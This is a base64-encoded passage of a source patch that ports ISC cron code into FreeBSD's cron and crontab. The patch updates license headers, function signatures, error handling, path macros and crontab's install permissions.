eXNsb2cuaD4sIExPR19GSUxFIHdpbGwgbm90CisJCQkgKiBiZSB1c2VkLgorCQkJICovCisjZGVm aW5lIExPR19GSUxFCSJsb2ciCiAKIAkJCS8qIHdoZXJlIHNob3VsZCB0aGUgZGFlbW9uIHN0aWNr IGl0cyBQSUQ/CisJCQkgKiBQSURESVIgbXVzdCBlbmQgaW4gJy8nLgogCQkJICovCiAjaWZkZWYg X1BBVEhfVkFSUlVOCiAjIGRlZmluZSBQSURESVIJX1BBVEhfVkFSUlVOCkBAIC01OSw2ICs3MSw4 IEBACiAjIGRlZmluZSBQSURESVIgIi9ldGMvIgogI2VuZGlmCiAjZGVmaW5lIFBJREZJTEUJCSIl c2Nyb24ucGlkIgorI2RlZmluZSBTT0NLRklMRSAgICAgICAgIi5zb2NrIgorI2RlZmluZSBfUEFU SF9DUk9OX1BJRAlQSURESVIgUElERklMRQogCiAJCQkvKiA0LjNCU0Qtc3R5bGUgY3JvbnRhYiAq LwogI2RlZmluZSBTWVNDUk9OVEFCCSIvZXRjL2Nyb250YWIiCkBAIC03Miw2ICs4NiwxMCBAQAog IyBkZWZpbmUgRURJVE9SICIvdXNyL3VjYi92aSIKICNlbmRpZgogCisjaWZuZGVmIF9QQVRIX1NF TkRNQUlMCisjIGRlZmluZSBfUEFUSF9TRU5ETUFJTCAiL3Vzci9saWIvc2VuZG1haWwiCisjZW5k aWYKKwogI2lmbmRlZiBfUEFUSF9CU0hFTEwKICMgZGVmaW5lIF9QQVRIX0JTSEVMTCAiL2Jpbi9z aCIKICNlbmRpZgpAQCAtNzksMyArOTcsMTMgQEAKICNpZm5kZWYgX1BBVEhfREVGUEFUSAogIyBk ZWZpbmUgX1BBVEhfREVGUEFUSCAiL3Vzci9iaW46L2JpbiIKICNlbmRpZgorCisjaWZuZGVmIF9Q QVRIX1RNUAorIyBkZWZpbmUgX1BBVEhfVE1QICIvdG1wIgorI2VuZGlmCisKKyNpZm5kZWYgX1BB VEhfREVWTlVMTAorIyBkZWZpbmUgX1BBVEhfREVWTlVMTCAiL2Rldi9udWxsIgorI2VuZGlmCisK KyNlbmRpZiAvKiBfUEFUSE5BTUVTX0hfICovCmRpZmYgLXJ1TiAvdXNyL3NyYy91c3Iuc2Jpbi9j cm9uL2Nyb24vcG9wZW4uYyBmcmVlYnNkX2Nyb24vY3Jvbi9wb3Blbi5jCi0tLSAvdXNyL3NyYy91 c3Iuc2Jpbi9jcm9uL2Nyb24vcG9wZW4uYwkyMDE0LTAxLTE2IDIxOjQzOjQ5LjAwMDAwMDAwMCAr MDEwMAorKysgZnJlZWJzZF9jcm9uL2Nyb24vcG9wZW4uYwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3 MzQ0NDgxMiArMDIwMApAQCAtMjgsNyArMjgsNyBAQAogc3RhdGljIGNoYXIgc2Njc2lkW10gPSAi QCgjKXBvcGVuLmMJNS43IChCZXJrZWxleSkgMi8xNC84OSI7CiAjZW5kaWYKIHN0YXRpYyBjb25z dCBjaGFyIHJjc2lkW10gPQotICAiJEZyZWVCU0Q6IHJlbGVhc2UvMTAuMC4wL3Vzci5zYmluL2Ny b24vY3Jvbi9wb3Blbi5jIDE1OTUyNyAyMDA2LTA2LTExIDIxOjEzOjQ5WiBtYXhpbSAkIjsKKyAg IiRGcmVlQlNEOiByZWxlbmcvMTAuMC91c3Iuc2Jpbi9jcm9uL2Nyb24vcG9wZW4uYyAxNTk1Mjcg MjAwNi0wNi0xMSAyMToxMzo0OVogbWF4aW0gJCI7CiAjZW5kaWYgLyogbm90IGxpbnQgKi8KIAog I2luY2x1ZGUgImNyb24uaCIKZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9z dHJ1Y3RzLmggZnJlZWJzZF9jcm9uL2Nyb24vc3RydWN0cy5oCi0tLSAvdXNyL3NyYy91c3Iuc2Jp bi9jcm9uL2Nyb24vc3RydWN0cy5oCTE5NzAtMDEtMDEgMDE6MDA6MDAuMDAwMDAwMDAwICswMTAw CisrKyBmcmVlYnNkX2Nyb24vY3Jvbi9zdHJ1Y3RzLmgJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzM0 NDQ4MTIgKzAyMDAKQEAgLTAsMCArMSw2OCBAQAorLyoKKyAqICRJZDogc3RydWN0cy5oLHYgMS43 IDIwMDQvMDEvMjMgMTg6NTY6NDMgdml4aWUgRXhwICQKKyAqLworCisvKgorICogQ29weXJpZ2h0 IChjKSAyMDA0IGJ5IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bSwgSW5jLiAoIklTQyIpCisg KiBDb3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBTb2Z0d2FyZSBDb25zb3J0aXVt LCBJbmMuCisgKgorICogUGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwgYW5kIGRpc3Ry aWJ1dGUgdGhpcyBzb2Z0d2FyZSBmb3IgYW55CisgKiBwdXJwb3NlIHdpdGggb3Igd2l0aG91dCBm ZWUgaXMgaGVyZWJ5IGdyYW50ZWQsIHByb3ZpZGVkIHRoYXQgdGhlIGFib3ZlCisgKiBjb3B5cmln aHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVhciBpbiBhbGwgY29waWVz LgorICoKKyAqIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiIEFORCBJU0MgRElTQ0xB SU1TIEFMTCBXQVJSQU5USUVTCisgKiBXSVRIIFJFR0FSRCBUTyBUSElTIFNPRlRXQVJFIElOQ0xV RElORyBBTEwgSU1QTElFRCBXQVJSQU5USUVTIE9GCisgKiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJ VE5FU1MuICBJTiBOTyBFVkVOVCBTSEFMTCBJU0MgQkUgTElBQkxFIEZPUgorICogQU5ZIFNQRUNJ QUwsIERJUkVDVCwgSU5ESVJFQ1QsIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFUyBPUiBBTlkgREFN QUdFUworICogV0hBVFNPRVZFUiBSRVNVTFRJTkcgRlJPTSBMT1NTIE9GIFVTRSwgREFUQSBPUiBQ Uk9GSVRTLCBXSEVUSEVSIElOIEFOCisgKiBBQ1RJT04gT0YgQ09OVFJBQ1QsIE5FR0xJR0VOQ0Ug T1IgT1RIRVIgVE9SVElPVVMgQUNUSU9OLCBBUklTSU5HIE9VVAorICogT0YgT1IgSU4gQ09OTkVD VElPTiBXSVRIIFRIRSBVU0UgT1IgUEVSRk9STUFOQ0UgT0YgVEhJUyBTT0ZUV0FSRS4KKyAqLwor Cit0eXBlZGVmCXN0cnVjdCBfZW50cnkgeworCXN0cnVjdCBfZW50cnkJKm5leHQ7CisJdWlkX3QJ dWlkOworCWdpZF90CWdpZDsKKyNpZmRlZiBMT0dJTl9DQVAKKwljaGFyCSpjbGFzczsKKyNlbmRp ZgorCWNoYXIJCSoqZW52cDsKKwljaGFyCQkqY21kOworCWJpdHN0cl90CWJpdF9kZWNsKHNlY29u ZCwgU0VDT05EX0NPVU5UKTsKKwliaXRzdHJfdAliaXRfZGVjbChtaW51dGUsIE1JTlVURV9DT1VO VCk7CisJYml0c3RyX3QJYml0X2RlY2woaG91ciwgICBIT1VSX0NPVU5UKTsKKwliaXRzdHJfdAli aXRfZGVjbChkb20sICAgIERPTV9DT1VOVCk7CisJYml0c3RyX3QJYml0X2RlY2wobW9udGgsICBN T05USF9DT1VOVCk7CisJYml0c3RyX3QJYml0X2RlY2woZG93LCAgICBET1dfQ09VTlQpOworCWlu dAkJZmxhZ3M7CisjZGVmaW5lCU1JTl9TVEFSCTB4MDEKKyNkZWZpbmUJSFJfU1RBUgkJMHgwMgor I2RlZmluZQlET01fU1RBUgkweDA0CisjZGVmaW5lCURPV19TVEFSCTB4MDgKKyNkZWZpbmUJV0hF Tl9SRUJPT1QJMHgxMAorI2RlZmluZQlET05UX0xPRwkweDIwCisJdGltZV90CQlsYXN0cnVuOwor fSBlbnRyeTsKKworCQkJLyogdGhlIGNyb250YWIgZGF0YWJhc2Ugd2lsbCBiZSBhIGxpc3Qgb2Yg dGhlCisJCQkgKiBmb2xsb3dpbmcgc3RydWN0dXJlLCBvbmUgZWxlbWVudCBwZXIgdXNlcgorCQkJ ICogcGx1cyBvbmUgZm9yIHRoZSBzeXN0ZW0uCisJCQkgKgorCQkJICogVGhlc2UgYXJlIHRoZSBj cm9udGFicy4KKwkJCSAqLworCit0eXBlZGVmCXN0cnVjdCBfdXNlciB7CisJc3RydWN0IF91c2Vy CSpuZXh0LCAqcHJldjsJLyogbGlua3MgKi8KKwljaGFyCQkqbmFtZTsKKwl0aW1lX3QJCW10aW1l OwkJLyogbGFzdCBtb2R0aW1lIG9mIGNyb250YWIgKi8KKwllbnRyeQkJKmNyb250YWI7CS8qIHRo aXMgcGVyc29uJ3MgY3JvbnRhYiAqLworfSB1c2VyOworCit0eXBlZGVmCXN0cnVjdCBfY3Jvbl9k YiB7CisJdXNlcgkJKmhlYWQsICp0YWlsOwkvKiBsaW5rcyAqLworCXRpbWVfdAkJbXRpbWU7CQkv KiBsYXN0IG1vZHRpbWUgb24gc3Bvb2xkaXIgKi8KK30gY3Jvbl9kYjsKKwkJCQkvKiBpbiB0aGUg QyB0cmFkaXRpb24sIHdlIG9ubHkgY3JlYXRlCisJCQkJICogdmFyaWFibGVzIGZvciB0aGUgbWFp biBwcm9ncmFtLCBqdXN0CisJCQkJICogZXh0ZXJuIHRoZW0gZWxzZXdoZXJlLgorCQkJCSAqLwpk aWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL3VzZXIuYyBmcmVlYnNkX2Nyb24v Y3Jvbi91c2VyLmMKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi91c2VyLmMJMjAxNC0w MS0xNiAyMTo0Mzo0OS4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jvbi9jcm9uL3VzZXIu YwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MzQ0NDgxMiArMDIwMApAQCAtMSwzOCArMSwzNyBAQAog LyogQ29weXJpZ2h0IDE5ODgsMTk5MCwxOTkzLDE5OTQgYnkgUGF1bCBWaXhpZQogICogQWxsIHJp Z2h0cyByZXNlcnZlZAorICovCisKKy8qCisgKiBDb3B5cmlnaHQgKGMpIDIwMDQgYnkgSW50ZXJu ZXQgU3lzdGVtcyBDb25zb3J0aXVtLCBJbmMuICgiSVNDIikKKyAqIENvcHlyaWdodCAoYykgMTk5 NywyMDAwIGJ5IEludGVybmV0IFNvZnR3YXJlIENvbnNvcnRpdW0sIEluYy4KICAqCi0gKiBEaXN0 cmlidXRlIGZyZWVseSwgZXhjZXB0OiBkb24ndCByZW1vdmUgbXkgbmFtZSBmcm9tIHRoZSBzb3Vy Y2Ugb3IKLSAqIGRvY3VtZW50YXRpb24gKGRvbid0IHRha2UgY3JlZGl0IGZvciBteSB3b3JrKSwg bWFyayB5b3VyIGNoYW5nZXMgKGRvbid0Ci0gKiBnZXQgbWUgYmxhbWVkIGZvciB5b3VyIHBvc3Np YmxlIGJ1Z3MpLCBkb24ndCBhbHRlciBvciByZW1vdmUgdGhpcwotICogbm90aWNlLiAgTWF5IGJl IHNvbGQgaWYgYnVpbGRhYmxlIHNvdXJjZSBpcyBwcm92aWRlZCB0byBidXllci4gIE5vCi0gKiB3 YXJyYW50ZWUgb2YgYW55IGtpbmQsIGV4cHJlc3Mgb3IgaW1wbGllZCwgaXMgaW5jbHVkZWQgd2l0 aCB0aGlzCi0gKiBzb2Z0d2FyZTsgdXNlIGF0IHlvdXIgb3duIHJpc2ssIHJlc3BvbnNpYmlsaXR5 IGZvciBkYW1hZ2VzIChpZiBhbnkpIHRvCi0gKiBhbnlvbmUgcmVzdWx0aW5nIGZyb20gdGhlIHVz ZSBvZiB0aGlzIHNvZnR3YXJlIHJlc3RzIGVudGlyZWx5IHdpdGggdGhlCi0gKiB1c2VyLgorICog UGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwgYW5kIGRpc3RyaWJ1dGUgdGhpcyBzb2Z0 d2FyZSBmb3IgYW55CisgKiBwdXJwb3NlIHdpdGggb3Igd2l0aG91dCBmZWUgaXMgaGVyZWJ5IGdy YW50ZWQsIHByb3ZpZGVkIHRoYXQgdGhlIGFib3ZlCisgKiBjb3B5cmlnaHQgbm90aWNlIGFuZCB0 aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVhciBpbiBhbGwgY29waWVzLgogICoKLSAqIFNlbmQg YnVnIHJlcG9ydHMsIGJ1ZyBmaXhlcywgZW5oYW5jZW1lbnRzLCByZXF1ZXN0cywgZmxhbWVzLCBl dGMuLCBhbmQKLSAqIEknbGwgdHJ5IHRvIGtlZXAgYSB2ZXJzaW9uIHVwIHRvIGRhdGUuICBJIGNh biBiZSByZWFjaGVkIGFzIGZvbGxvd3M6Ci0gKiBQYXVsIFZpeGllICAgICAgICAgIDxwYXVsQHZp eC5jb20+ICAgICAgICAgIHV1bmV0IWRlY3dybCF2aXhpZSFwYXVsCisgKiBUSEUgU09GVFdBUkUg SVMgUFJPVklERUQgIkFTIElTIiBBTkQgSVNDIERJU0NMQUlNUyBBTEwgV0FSUkFOVElFUworICog V0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZUV0FSRSBJTkNMVURJTkcgQUxMIElNUExJRUQgV0FSUkFO VElFUyBPRgorICogTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRORVNTLiAgSU4gTk8gRVZFTlQgU0hB TEwgSVNDIEJFIExJQUJMRSBGT1IKKyAqIEFOWSBTUEVDSUFMLCBESVJFQ1QsIElORElSRUNULCBP UiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5ZIERBTUFHRVMKKyAqIFdIQVRTT0VWRVIgUkVT VUxUSU5HIEZST00gTE9TUyBPRiBVU0UsIERBVEEgT1IgUFJPRklUUywgV0hFVEhFUiBJTiBBTgor ICogQUNUSU9OIE9GIENPTlRSQUNULCBORUdMSUdFTkNFIE9SIE9USEVSIFRPUlRJT1VTIEFDVElP TiwgQVJJU0lORyBPVVQKKyAqIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgVVNFIE9SIFBF UkZPUk1BTkNFIE9GIFRISVMgU09GVFdBUkUuCiAgKi8KIAotI2lmICFkZWZpbmVkKGxpbnQpICYm ICFkZWZpbmVkKExJTlQpCi1zdGF0aWMgY29uc3QgY2hhciByY3NpZFtdID0KLSAgIiRGcmVlQlNE OiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2Nyb24vdXNlci5jIDUwNDc5IDE5OTktMDgt MjggMDE6MzU6NTlaIHBldGVyICQiOwotI2VuZGlmCisvLyNpZiAhZGVmaW5lZChsaW50KSAmJiAh ZGVmaW5lZChMSU5UKQorLy9zdGF0aWMgY2hhciByY3NpZFtdID0gIiRJZDogdXNlci5jLHYgMS41 IDIwMDQvMDEvMjMgMTg6NTY6NDMgdml4aWUgRXhwICQiOworLy8jZW5kaWYKIAogLyogdml4IDI2 amFuODcgW2xvZyBpcyBpbiBSQ1MgZmlsZV0KICAqLwogCi0KICNpbmNsdWRlICJjcm9uLmgiCiAK IHN0YXRpYyBjaGFyICpVc2VyX25hbWU7Ci0KIHZvaWQKLWZyZWVfdXNlcih1KQotCXVzZXIJKnU7 Ci17Ci0JZW50cnkJKmUsICpuZTsKK2ZyZWVfdXNlcih1c2VyICp1KSB7CisJZW50cnkgKmUsICpu ZTsKIAogCWZyZWUodS0+bmFtZSk7CiAJZm9yIChlID0gdS0+Y3JvbnRhYjsgIGUgIT0gTlVMTDsg IGUgPSBuZSkgewpAQCAtNDMsNTYgKzQyLDQ5IEBACiB9CiAKIHN0YXRpYyB2b2lkCi1sb2dfZXJy b3IobXNnKQotCWNoYXIJKm1zZzsKLXsKK2xvZ19lcnJvcihjaGFyICptc2cpIHsKIAlsb2dfaXQo VXNlcl9uYW1lLCBnZXRwaWQoKSwgIlBBUlNFIiwgbXNnKTsKIH0KIAogdXNlciAqCi1sb2FkX3Vz ZXIoY3JvbnRhYl9mZCwgcHcsIG5hbWUpCi0JaW50CQljcm9udGFiX2ZkOwotCXN0cnVjdCBwYXNz d2QJKnB3OwkJLyogTlVMTCBpbXBsaWVzIHN5c2Nyb250YWIgKi8KLQljaGFyCQkqbmFtZTsKLXsK LQljaGFyCWVudnN0cltNQVhfRU5WU1RSXTsKLQlGSUxFCSpmaWxlOwotCXVzZXIJKnU7Ci0JZW50 cnkJKmU7Ci0JaW50CXN0YXR1czsKLQljaGFyCSoqZW52cCwgKip0ZW52cDsKK2xvYWRfdXNlcihp bnQgY3JvbnRhYl9mZCwgc3RydWN0IHBhc3N3ZAkqcHcsIGNvbnN0IGNoYXIgKm5hbWUpIHsKKwlj aGFyIGVudnN0cltNQVhfRU5WU1RSXTsKKwlGSUxFICpmaWxlOworCXVzZXIgKnU7CisJZW50cnkg KmU7CisJaW50IHN0YXR1cywgc2F2ZV9lcnJubzsKKwljaGFyICoqZW52cCwgKip0ZW52cDsKIAog CWlmICghKGZpbGUgPSBmZG9wZW4oY3JvbnRhYl9mZCwgInIiKSkpIHsKLQkJd2FybigiZmRvcGVu IG9uIGNyb250YWJfZmQgaW4gbG9hZF91c2VyIik7Ci0JCXJldHVybiBOVUxMOworCQlwZXJyb3Io ImZkb3BlbiBvbiBjcm9udGFiX2ZkIGluIGxvYWRfdXNlciIpOworCQlyZXR1cm4gKE5VTEwpOwog CX0KIAogCURlYnVnKERQQVJTLCAoImxvYWRfdXNlcigpXG4iKSkKIAogCS8qIGZpbGUgaXMgb3Bl bi4gIGJ1aWxkIHVzZXIgZW50cnksIHRoZW4gcmVhZCB0aGUgY3JvbnRhYiBmaWxlLgogCSAqLwot CWlmICgodSA9ICh1c2VyICopIG1hbGxvYyhzaXplb2YodXNlcikpKSA9PSBOVUxMKSB7Ci0JCWVy cm5vID0gRU5PTUVNOwotCQlyZXR1cm4gTlVMTDsKLQl9CisJaWYgKCh1ID0gKHVzZXIgKikgbWFs bG9jKHNpemVvZih1c2VyKSkpID09IE5VTEwpCisJCXJldHVybiAoTlVMTCk7CiAJaWYgKCh1LT5u YW1lID0gc3RyZHVwKG5hbWUpKSA9PSBOVUxMKSB7CisJCXNhdmVfZXJybm8gPSBlcnJubzsKIAkJ ZnJlZSh1KTsKLQkJZXJybm8gPSBFTk9NRU07Ci0JCXJldHVybiBOVUxMOworCQllcnJubyA9IHNh dmVfZXJybm87CisJCXJldHVybiAoTlVMTCk7CiAJfQogCXUtPmNyb250YWIgPSBOVUxMOwogCi0J LyogCi0JICogaW5pdCBlbnZpcm9ubWVudC4gIHRoaXMgd2lsbCBiZSBjb3BpZWQvYXVnbWVudGVk IGZvciBlYWNoIGVudHJ5LgorCS8qIGluaXQgZW52aXJvbm1lbnQuICB0aGlzIHdpbGwgYmUgY29w aWVkL2F1Z21lbnRlZCBmb3IgZWFjaCBlbnRyeS4KIAkgKi8KIAlpZiAoKGVudnAgPSBlbnZfaW5p dCgpKSA9PSBOVUxMKSB7CisJCXNhdmVfZXJybm8gPSBlcnJubzsKIAkJZnJlZSh1LT5uYW1lKTsK IAkJZnJlZSh1KTsKLQkJcmV0dXJuIE5VTEw7CisJCWVycm5vID0gc2F2ZV9lcnJubzsKKwkJcmV0 dXJuIChOVUxMKTsKIAl9CiAKLQkvKgotCSAqIGxvYWQgdGhlIGNyb250YWIKKwkvKiBsb2FkIHRo ZSBjcm9udGFiCiAJICovCiAJd2hpbGUgKChzdGF0dXMgPSBsb2FkX2VudihlbnZzdHIsIGZpbGUp KSA+PSBPSykgewogCQlzd2l0Y2ggKHN0YXR1cykgewpAQCAtMTAxLDcgKzkzLDcgQEAKIAkJCXUg PSBOVUxMOwogCQkJZ290byBkb25lOwogCQljYXNlIEZBTFNFOgotCQkJVXNlcl9uYW1lID0gdS0+ bmFtZTsgICAgLyogZm9yIGxvZ19lcnJvciAqLworCQkJVXNlcl9uYW1lID0gdS0+bmFtZTsKIAkJ CWUgPSBsb2FkX2VudHJ5KGZpbGUsIGxvZ19lcnJvciwgcHcsIGVudnApOwogCQkJaWYgKGUpIHsK IAkJCQllLT5uZXh0ID0gdS0+Y3JvbnRhYjsKQEAgLTEwOSwxMyArMTAxLDE0IEBACiAJCQl9CiAJ CQlicmVhazsKIAkJY2FzZSBUUlVFOgotCQkJaWYgKCh0ZW52cCA9IGVudl9zZXQoZW52cCwgZW52 c3RyKSkpIHsKLQkJCQllbnZwID0gdGVudnA7Ci0JCQl9IGVsc2UgeworCQkJaWYgKCh0ZW52cCA9 IGVudl9zZXQoZW52cCwgZW52c3RyKSkgPT0gTlVMTCkgeworCQkJCXNhdmVfZXJybm8gPSBlcnJu bzsKIAkJCQlmcmVlX3VzZXIodSk7CiAJCQkJdSA9IE5VTEw7CisJCQkJZXJybm8gPSBzYXZlX2Vy cm5vOwogCQkJCWdvdG8gZG9uZTsKIAkJCX0KKwkJCWVudnAgPSB0ZW52cDsKIAkJCWJyZWFrOwog CQl9CiAJfQpAQCAtMTI0LDUgKzExNyw1IEBACiAJZW52X2ZyZWUoZW52cCk7CiAJZmNsb3NlKGZp bGUpOwogCURlYnVnKERQQVJTLCAoIi4uLmxvYWRfdXNlcigpIGRvbmVcbiIpKQotCXJldHVybiB1 OworCXJldHVybiAodSk7CiB9CmRpZmYgLXJ1TiAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb250 YWIvTWFrZWZpbGUgZnJlZWJzZF9jcm9uL2Nyb250YWIvTWFrZWZpbGUKLS0tIC91c3Ivc3JjL3Vz ci5zYmluL2Nyb24vY3JvbnRhYi9NYWtlZmlsZQkyMDE0LTAxLTE2IDIxOjQzOjUwLjAwMDAwMDAw MCArMDEwMAorKysgZnJlZWJzZF9jcm9uL2Nyb250YWIvTWFrZWZpbGUJMjAxNC0wNi0xMSAxNjo0 Mjo1NS4yNzM0NDQ4MTIgKzAyMDAKQEAgLTEsMTEgKzEsMTIgQEAKLSMgJEZyZWVCU0Q6IHJlbGVh c2UvMTAuMC4wL3Vzci5zYmluL2Nyb24vY3JvbnRhYi9NYWtlZmlsZSAxODUwNDAgMjAwOC0xMS0x OCAwMDoxMjoxNVogbWF0dGVvICQKKyMgJEZyZWVCU0Q6IHJlbGVuZy8xMC4wL3Vzci5zYmluL2Ny b24vY3JvbnRhYi9NYWtlZmlsZSAxODUwNDAgMjAwOC0xMS0xOCAwMDoxMjoxNVogbWF0dGVvICQK IAogQklORElSPQkvdXNyL2JpbgogCiBQUk9HPQljcm9udGFiCiBNQU49CWNyb250YWIuMSBjcm9u dGFiLjUKIEJJTk9XTj0Jcm9vdAotQklOTU9ERT00NTU1CitCSU5HUlA9IGNyb250YWIKK0JJTk1P REU9MjU1NQogUFJFQ0lPVVNQUk9HPQogCiBXQVJOUz89CTMKZGlmZiAtcnVOIC91c3Ivc3JjL3Vz ci5zYmluL2Nyb24vY3JvbnRhYi9jcm9udGFiLjEgZnJlZWJzZF9jcm9uL2Nyb250YWIvY3JvbnRh Yi4xCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb250YWIvY3JvbnRhYi4xCTIwMTQtMDEt MTYgMjE6NDM6NTAuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vY3JvbnRhYi9jcm9u dGFiLjEJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzM0NDQ4MTIgKzAyMDAKQEAgLTE1LDcgKzE1LDcg QEAKIC5cIiAqIFBhdWwgVml4aWUgICAgICAgICAgPHBhdWxAdml4LmNvbT4gICAgICAgICAgdXVu ZXQhZGVjd3JsIXZpeGllIXBhdWwKIC5cIiAqLwogLlwiCi0uXCIgJEZyZWVCU0Q6IHJlbGVhc2Uv MTAuMC4wL3Vzci5zYmluL2Nyb24vY3JvbnRhYi9jcm9udGFiLjEgMjA4MDU0IDIwMTAtMDUtMTQg MDE6MjU6MzBaIGJydWVmZmVyICQKKy5cIiAkRnJlZUJTRDogcmVsZW5nLzEwLjAvdXNyLnNiaW4v Y3Jvbi9jcm9udGFiL2Nyb250YWIuMSAyMDgwNTQgMjAxMC0wNS0xNCAwMToyNTozMFogYnJ1ZWZm ZXIgJAogLlwiCiAuRGQgTWF5IDEzLCAyMDEwCiAuRHQgQ1JPTlRBQiAxCmRpZmYgLXJ1TiAvdXNy L3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb250YWIvY3JvbnRhYi41IGZyZWVic2RfY3Jvbi9jcm9udGFi L2Nyb250YWIuNQotLS0gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9udGFiL2Nyb250YWIuNQky MDE0LTAxLTE2IDIxOjQzOjUwLjAwMDAwMDAwMCArMDEwMAorKysgZnJlZWJzZF9jcm9uL2Nyb250 YWIvY3JvbnRhYi41CTIwMTQtMDYtMTEgMTY6NDI6NTUuMjczNDQ0ODEyICswMjAwCkBAIC0xNSw3 ICsxNSw3IEBACiAuXCIgKiBQYXVsIFZpeGllICAgICAgICAgIDxwYXVsQHZpeC5jb20+ICAgICAg ICAgIHV1bmV0IWRlY3dybCF2aXhpZSFwYXVsCiAuXCIgKi8KIC5cIgotLlwiICRGcmVlQlNEOiBy ZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2Nyb250YWIvY3JvbnRhYi41IDI0MjEwMSAyMDEy LTEwLTI1IDIyOjU0OjI5WiBzb2JvbWF4ICQKKy5cIiAkRnJlZUJTRDogcmVsZW5nLzEwLjAvdXNy LnNiaW4vY3Jvbi9jcm9udGFiL2Nyb250YWIuNSAyNDIxMDEgMjAxMi0xMC0yNSAyMjo1NDoyOVog c29ib21heCAkCiAuXCIKIC5EZCBBcHJpbCAyOCwgMjAxMgogLkR0IENST05UQUIgNQpkaWZmIC1y dU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9udGFiL2Nyb250YWIuYyBmcmVlYnNkX2Nyb24v Y3JvbnRhYi9jcm9udGFiLmMKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3JvbnRhYi9jcm9u dGFiLmMJMjAxNC0wMS0xNiAyMTo0Mzo1MC4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jv bi9jcm9udGFiL2Nyb250YWIuYwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3NDQ0NDg5NiArMDIwMApA QCAtMSwyNCArMSwyNiBAQAogLyogQ29weXJpZ2h0IDE5ODgsMTk5MCwxOTkzLDE5OTQgYnkgUGF1 bCBWaXhpZQogICogQWxsIHJpZ2h0cyByZXNlcnZlZAorICovCisKKy8qCisgKiBDb3B5cmlnaHQg KGMpIDIwMDQgYnkgSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtLCBJbmMuICgiSVNDIikKKyAq IENvcHlyaWdodCAoYykgMTk5NywyMDAwIGJ5IEludGVybmV0IFNvZnR3YXJlIENvbnNvcnRpdW0s IEluYy4KICAqCi0gKiBEaXN0cmlidXRlIGZyZWVseSwgZXhjZXB0OiBkb24ndCByZW1vdmUgbXkg bmFtZSBmcm9tIHRoZSBzb3VyY2Ugb3IKLSAqIGRvY3VtZW50YXRpb24gKGRvbid0IHRha2UgY3Jl ZGl0IGZvciBteSB3b3JrKSwgbWFyayB5b3VyIGNoYW5nZXMgKGRvbid0Ci0gKiBnZXQgbWUgYmxh bWVkIGZvciB5b3VyIHBvc3NpYmxlIGJ1Z3MpLCBkb24ndCBhbHRlciBvciByZW1vdmUgdGhpcwot ICogbm90aWNlLiAgTWF5IGJlIHNvbGQgaWYgYnVpbGRhYmxlIHNvdXJjZSBpcyBwcm92aWRlZCB0 byBidXllci4gIE5vCi0gKiB3YXJyYW50ZWUgb2YgYW55IGtpbmQsIGV4cHJlc3Mgb3IgaW1wbGll ZCwgaXMgaW5jbHVkZWQgd2l0aCB0aGlzCi0gKiBzb2Z0d2FyZTsgdXNlIGF0IHlvdXIgb3duIHJp c2ssIHJlc3BvbnNpYmlsaXR5IGZvciBkYW1hZ2VzIChpZiBhbnkpIHRvCi0gKiBhbnlvbmUgcmVz dWx0aW5nIGZyb20gdGhlIHVzZSBvZiB0aGlzIHNvZnR3YXJlIHJlc3RzIGVudGlyZWx5IHdpdGgg dGhlCi0gKiB1c2VyLgorICogUGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwgYW5kIGRp c3RyaWJ1dGUgdGhpcyBzb2Z0d2FyZSBmb3IgYW55CisgKiBwdXJwb3NlIHdpdGggb3Igd2l0aG91 dCBmZWUgaXMgaGVyZWJ5IGdyYW50ZWQsIHByb3ZpZGVkIHRoYXQgdGhlIGFib3ZlCisgKiBjb3B5 cmlnaHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVhciBpbiBhbGwgY29w aWVzLgogICoKLSAqIFNlbmQgYnVnIHJlcG9ydHMsIGJ1ZyBmaXhlcywgZW5oYW5jZW1lbnRzLCBy ZXF1ZXN0cywgZmxhbWVzLCBldGMuLCBhbmQKLSAqIEknbGwgdHJ5IHRvIGtlZXAgYSB2ZXJzaW9u IHVwIHRvIGRhdGUuICBJIGNhbiBiZSByZWFjaGVkIGFzIGZvbGxvd3M6Ci0gKiBQYXVsIFZpeGll ICAgICAgICAgIDxwYXVsQHZpeC5jb20+ICAgICAgICAgIHV1bmV0IWRlY3dybCF2aXhpZSFwYXVs 